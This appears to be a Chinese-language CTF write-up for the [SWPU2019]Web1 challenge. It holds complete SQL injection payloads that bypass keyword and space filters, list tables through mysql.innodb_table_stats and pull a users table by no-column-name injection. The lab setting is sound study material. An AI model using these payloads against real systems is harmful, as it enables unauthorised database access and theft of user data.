首页 > 其他分享 >[SWPU2019]Web1

[SWPU2019]Web1

时间:2024-04-13 17:13:45浏览次数:32  
标签:group users 22 union 列名 Web1 select SWPU2019

[SWPU2019]Web1

打开网页是一个登录页面

Ys1oZqe8iiswaLn3RobuGlm0OlPipUwekLErnRztu4o

源代码中没有发现什么有用的信息,注册个账号进行尝试

FuXxYkHM2ZnttdSkE7APH9uP2hJeRj_Q3iBua4MkJ5U

发现admin已经被使用了,换了个用户名注册成功

zSKmrId2JUhVJlTdwO95WMx16jFrv2dGfDXg6NTVg20

点击“申请发布广告”,需要填写广告名和内容

DD38GqSDnhUP9i-LIMB1BzRvMiRcbJv9OIPpRkC3S04

使用1'测试

_0Og5NXLbgXwEGQUl7TwhVmk9HbBq8asqMQoCePS6hg

广告详情里发现报错

ZLjE-t18tO3BOS_ldP2VYNnbPdXvHxTJ1B3KPE6j3Qk

说明此处存在SQL注入点

进行测试时发现空格、or、#、--+、and等进行了过滤,目前基本可以确定注入点在这个地方,在进行注入的时候我们需要先判断列数,payload:

1'/**/group/**/by/**/n,'

n为整数(因为对or进行了过滤,导致order无法使用,因此这里才采用group by来确定列数),最终得到n为22,结果如下:

CIhT87d4_XZxfcjAWBt8sFVH_7K33xYdFhdo-Bg3Pig

确定列数之后那就要确定哪些列得信息可以进行展示,payload:

1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

最终获得2和3会显示出来,结果如下:

4xoFUfnt7wk1Gcgx4mjOdyPCzBdbJx_EpZ6X1DnPxs4

确定回显信息后那就获取基本信息,如数据库名、用户名、版本等信息,最终获得数据库名web1、用户root、数据库类型mariadb,结果如下:

1'union/**/select/**/1,database(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

S3vMwJNIhhD9PDXnKj_ej_jrock0EosuBWXzGC-btJQ

1'union/**/select/**/1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

Mcy8Ou4QuH3gUmtJzNhdNJdFhxBer0B8Ml19HraN1V0

information_schema还有or,因为or被过滤,因此也无法使用。所以这里只能采用innodb_index_stats和 innodb_table_stats来进行绕过。payload:

1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'&&'1'='1

获得表名字为:ads、users,结果如下:

_iFXnbXMBIgrHgcXy6-pEHnqVW33rdTaxUz2qnOUuXI

进行无列名注入获取flag值,因为没有mysql.innodb_column_stats这个方法,查不了列名

大概原理就是没有列名,那就给它取名,然后按别名正常继续注入,payload:

1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

以上两者均可,其中group_concat(参数),对参数进行修改,访问每一个字段,结果如下:

j_AFbAWp_XjKRIwzT6wVJCrkutGPcmeC_h_jA3jbuEk

接着对以上注入进行简单讲解

首先有两个表ads,users。flag在users表第三列

select group_concat(b) from (select 1,2 as b,3 union select * from users)a

a,b为别名,可以乱取,b别名为users表第二列别名。

select 1,2,3用来判断回显,在数据库中这样会显示三列分别为1,2,3,而1,2,3就是三列列名

那select 1,2,3 union select * from users就会以1,2,3为列名查询users表中的内容了。具体原因涉及数据库底层,这里不做阐述

h_aSPIHHif367Ey3PydRZEKE2h8EMb_Y9IKBikcCX5Y

我们可以看到列名都被1,2,3替换了,这其实是他提取了表的内容,形成了新表,却没提取列名,所以我们可以用这个1,2,3去随时替换我们想要的列,例如:

select `2` from (select 1,2 union select * from user)a;后面加个a是为了给这个表弄个别名防止报错,同理如果这里``被过滤了也可以用别名替代:

select b from (select 1,2,3 as b union select * from user)a;这里就是3 as b,查的第三列

标签:group,users,22,union,列名,Web1,select,SWPU2019
From: https://www.cnblogs.com/fishjumpriver/p/18133067

相关文章

  • PHP特性 web107-
    Web107parse_str函数将前字符串解析到后边,实现变量的覆盖if(isset($_POST['v1'])){    $v1 = $_POST['v1'];    $v3 = $_GET['v3'];       parse_str($v1,$v2);       if($v2['flag']==md5($v3)){           echo $flag;    ......
  • ctfshow--web14 sql注入利用``的清奇的绕过
    输入c=3就会跳出来这个url复制并访问,看这个页面应该是sql注入有注释可看,看看他过滤了哪些东西点击查看代码if(preg_match('/information_schema\.tables|information_schema\.columns|linestring||polygon/is',$_GET['query'])){ die('@A@'); }点击查看代码查看......
  • ctfshow web入门 php特性 web89--web107
    web89看到有intval函数这里建议先观看一篇博客好绕过https://blog.csdn.net/wangyuxiang946/article/details/131156104?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171220387216800197044297%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%......
  • ctfshow--web13 .user.ini上传和bak源码泄露
    upload.php.bak源码泄露了审计一下点击查看代码<?php header("content-type:text/html;charset=utf-8"); $filename=$_FILES['file']['name']; $temp_name=$_FILES['file']['tmp_name']; $size=$_FILES['file'......
  • ctfshow--web12 glob和show_source命令执行
    查看源代码有提示以为是cmd命令解过输入linux命令愣是没反应后来输入phpinfo()才有回显原来是被误导了。一开始想的是直接写入一句话木马点击查看代码@eval($_POST['attack']);echo111;//这里的echo111是方便看我们有没有植入成功的这里有111的回显证明木马注入成......
  • ctfshow--web11session置空绕过
    代码审计点击查看代码<?phpfunctionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";returnpreg_replace($regex,"",$strParam);}if(strlen($passw......
  • ctfshow--web10
    dirsearch没有扫到文件查看源代码发现有个style.css文件点击查看查看index.phps代码又是代码审计点击查看代码<?php $flag="";functionreplaceSpecialChar($strParam){$regex="/(select|from|where|join|sleep|and|\s|union|,)/i";......
  • [CISCN2019 华北赛区 Day2 Web1]Hack World 1 盲注
    页面打开如上获取到信息flag在flag表中的flag列中尝试注入发现对用户的输入进行了限制使用burp进行fuzz测试其中535代表该页面对该条件进行了过滤其中括号并没有被过滤所以可以利用括号来代替空格进行盲注已知f的ascii码为102构筑等式(select(ascii(mid(flag,1,1)......
  • [SWPU2019]Network
    [SWPU2019]Network附件是一个txt文件,打开看到都是些数字每一行都只有一个值,63,255,191等等,不难发现,这些值都为2的n次方减去一后的值,此处为TTL加密。TTL加密:简单来说就是,图中63,127,191,255转化为二进制的值分别为00111111,01111111,10111111,11111111。发现只有前两位不同,TTL加密就......
  • [CISCN2019 华北赛区 Day2 Web1]Hack World
    [CISCN2019华北赛区Day2Web1]HackWorld页面中给了提示,数据表名和列名都为flag输入1尝试输入2尝试输入3提示获取结果出错输入1'尝试找注入点,根据返回结果判断可能是字符型注入使用永真语句尝试发现注入被过滤通过爆破发现部分关键字并没有被过滤这里通过师傅们(h......